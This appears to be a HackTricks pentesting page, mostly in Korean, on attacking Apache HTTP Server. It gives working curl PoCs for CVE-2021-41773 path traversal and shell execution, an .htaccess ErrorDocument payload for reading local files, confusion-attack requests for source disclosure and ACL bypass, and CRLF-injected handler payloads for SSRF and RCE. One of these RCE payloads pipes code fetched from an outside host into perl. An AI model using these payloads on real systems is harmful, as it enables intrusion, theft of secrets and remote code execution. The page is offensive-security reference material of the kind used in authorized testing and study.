Apache
Reading time: 13 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Executable PHP extensions
실행 중인 Apache 서버에서 어떤 PHP 확장이 동작하는지 확인하세요. 확인하려면 다음 명령을 실행할 수 있습니다:
grep -R -B1 "httpd-php" /etc/apache2
또한, 이 구성을 찾을 수 있는 위치는 다음과 같습니다:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
CVE-2021-41773는 Apache HTTP Server 2.4.49에서 발견된 path traversal 및 file disclosure 취약점으로, 공격자가 URL을 document root 밖의 파일로 매핑하여 민감한 파일을 읽을 수 있게 합니다. 이 취약점은 잘못된 경로 정규화로 인해 발생합니다.
영향받는 버전
- Apache HTTP Server 2.4.49: 취약
- 이후 릴리스에서는 수정이 시도되었으나 2.4.50에서 다른 취약점(CVE-2021-42013)이 발생하여 결국 2.4.51에서 완전 수정됨
- 권장: 2.4.51 이상으로 업데이트
탐지 / PoC 예시
- 단순한 테스트로 /etc/passwd 같은 파일을 요청해 파일 노출이 가능한지 확인할 수 있습니다. 예:
curl -v "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
- 실제 서버 구성에 따라 경로 인코딩 방식과 대상 경로가 달라질 수 있으므로 다양한 변형(../, %2e%2e%2f 등)을 시도해보세요.
영향 및 악용
- 주로 file disclosure(예: /etc/passwd, 설정 파일 등)가 가능하며, 특정 구성에서는 추가적인 악용으로 이어질 수 있습니다. (참고: 2.4.50에서의 후속 문제로 RCE가 발생할 수 있었음)
완화 및 대응
- 가장 확실한 해결책은 Apache를 2.4.51 이상으로 업데이트하는 것
- 임시 완화책: 불필요한 mod_cgi/mod_cgid, mod_proxy 등 모듈 비활성화 또는 CGI 디렉터리 접근 제한, 외부에서의 접근 차단 등
- 관련 로그를 점검하여 의심스러운 요청(인코딩된 ../ 시도 등)을 탐지하고 차단 규칙 적용
참고
- CVE-2021-41773는 file disclosure에 관련된 취약점이며, 동일 기간에 보고된 CVE-2021-42013은 RCE로 이어진 별도의 문제입니다. 두 이슈 모두 최신 패치로 해결되었습니다.
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
.htaccess ErrorDocument file provider (ap_expr)를 이용한 LFI
디렉토리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride에 FileInfo가 포함되어 있다면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용하여 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다.
- 요구 사항:
- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다 (2.4에서는 기본값).
- vhost/dir는 .htaccess가 ErrorDocument를 설정할 수 있도록 허용해야 합니다 (AllowOverride FileInfo).
- Apache worker user는 대상 파일에 대해 읽기 권한이 있어야 합니다.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예: userdir-style hosting을 악용할 때:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
노트 및 팁:
- 절대 경로만 작동합니다. 콘텐츠는 404 핸들러의 응답 본문으로 반환됩니다.
- 실제 읽기 권한은 Apache 사용자(일반적으로 www-data/apache)의 권한입니다. 기본 설정에서는 /root/* 또는 /etc/shadow를 읽을 수 없습니다.
- .htaccess가 root 소유일지라도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원본 .htaccess의 이름을 변경하고 SFTP/FTP를 통해 교체 파일을 업로드할 수 있습니다:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- 이를 이용해 DocumentRoot 또는 vhost config 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys, etc.)을 수집할 수 있습니다.
Confusion Attack
These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
Filename Confusion
Truncation
The mod_rewrite
will trim the content of r->filename
after the character ?
(modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename
as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- Path Truncation
It's possible to abuse mod_rewrite
like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- 오도하는 RewriteFlag 할당
다음 rewrite 규칙에서는 URL이 .php로 끝나는 한 해당 요청은 php로 처리되고 실행됩니다. 따라서 경로에는 다른 유형의 파일(예: 이미지)을 로드하면서 ?
문자 뒤에 .php로 끝나는 URL을 보낼 수 있으며, 그 파일 안에 악성 php 코드를 넣을 수 있습니다:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
다음과 같은 구성에서 접근이 거부되어야 하더라도 사용자가 접근해서는 안 되는 파일에 접근할 수 있다:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
이것은 기본적으로 PHP-FPM이 .php
로 끝나는 URL(예: http://server/admin.php%3Fooo.php
)을 수신하며, PHP-FPM이 문자 ?
이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 금지했더라도 /admin.php
를 로드할 수 있게 되기 때문입니다.
DocumentRoot 혼동
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Apache에 대한 흥미로운 사실은, 이전 rewrite가 파일을 documentRoot와 root 둘 다에서 접근하려 한다는 것이다. 따라서 https://server/abouth.html
에 대한 요청은 파일 시스템에서 /var/www/html/about.html
와 /about.html
을(를) 확인한다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있다.
서버 측 소스 코드 노출
- CGI 소스 코드 노출
끝에 %3F를 추가하는 것만으로 cgi module의 소스 코드를 leak할 수 있다:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- PHP 소스 코드 노출
서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용해 파일 시스템을 횡단하여 php 코드를 leak할 수 있습니다:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
이전 공격의 주요 문제는 기본적으로 대부분의 파일시스템 접근이 Apache HTTP Server’s configuration template에서처럼 거부된다는 점이다:
<Directory />
AllowOverride None
Require all denied
</Directory>
그러나 Debian/Ubuntu 운영 체제는 기본적으로 /usr/share
를 허용합니다:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Therefore, it would be possible to abuse files located inside /usr/share
in these distributions.
Local Gadget to Information Disclosure
- Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
- Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- On Ubuntu Desktop with LibreOffice installed, exploiting the help files' language switch feature can lead to Cross-Site Scripting (XSS). Manipulating the URL at /usr/share/libreoffice/help/help.html can redirect to malicious pages or older versions through unsafe RewriteRule.
Local Gadget to LFI
- If PHP or certain front-end packages like JpGraph or jQuery-jFeed are installed, their files can be exploited to read sensitive files like /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Utilizing MagpieRSS's magpie_debug.php at /usr/share/php/magpierss/scripts/magpie_debug.php, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
Local Gadget to RCE
- Opportunities for Remote Code Execution (RCE) are vast, with vulnerable installations like an outdated PHPUnit or phpLiteAdmin. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
Jailbreak from Local Gadgets
허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예를 들면:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Moreover, abusing symlinks it was possible to obtain RCE in Redmine.
Handler Confusion
This attack exploits the overlap in functionality between the AddHandler
and AddType
directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler
and r->content_type
respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type
into r->handler
if the former is set and the latter is not.
Moreover, in the Apache HTTP Server (server/config.c#L420
), if r->handler
is empty before executing ap_run_handler()
, the server uses r->content_type
as the handler, effectively making AddType
and AddHandler
identical in effect.
Overwrite Handler to Disclose PHP Source Code
In this talk, was presented a vulnerability where an incorrect Content-Length
sent by a client can cause Apache to mistakenly return the PHP source code. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting r->content_type
to text/html
.
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
Overwrite Handler to XXXX
TODO: Orange hasn't disclose this vulnerability yet
Invoke Arbitrary Handlers
If an attacker is able to control the Content-Type
header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the Location
header because if the returned Status
is 200 and the Location
header starts with a /
, the response is treated as a Server-Side Redirection and should be processed
According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Therefore, to perform this attack is needed one of the following vulns:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Arbitrary Handler to Information Disclosure
For example /server-status
should only be accessible locally:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Content-Type
을 server-status
로 설정하고 Location 헤더가 /
로 시작하도록 하면 접근할 수 있습니다.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
임의 핸들러에서 완전한 SSRF로
모든 URL의 모든 프로토콜에 접근하기 위해 mod_proxy
로 리디렉션:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
그러나 X-Forwarded-For
헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 차단합니다.
Arbitrary Handler로 로컬 Unix Domain Socket에 접근하기
PHP-FPM의 로컬 Unix Domain Socket에 접근하여 /tmp/
에 위치한 PHP 백도어를 실행합니다:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
공식 PHP Docker 이미지에는 PEAR (Pearcmd.php
)가 포함되어 있으며, 명령행 PHP 패키지 관리 도구로서 RCE를 획득하기 위해 악용될 수 있습니다:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
자세한 기법의 세부사항은 작성자 Phith0n이 쓴 Docker PHP LFI Summary를 확인하세요.
참고자료
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.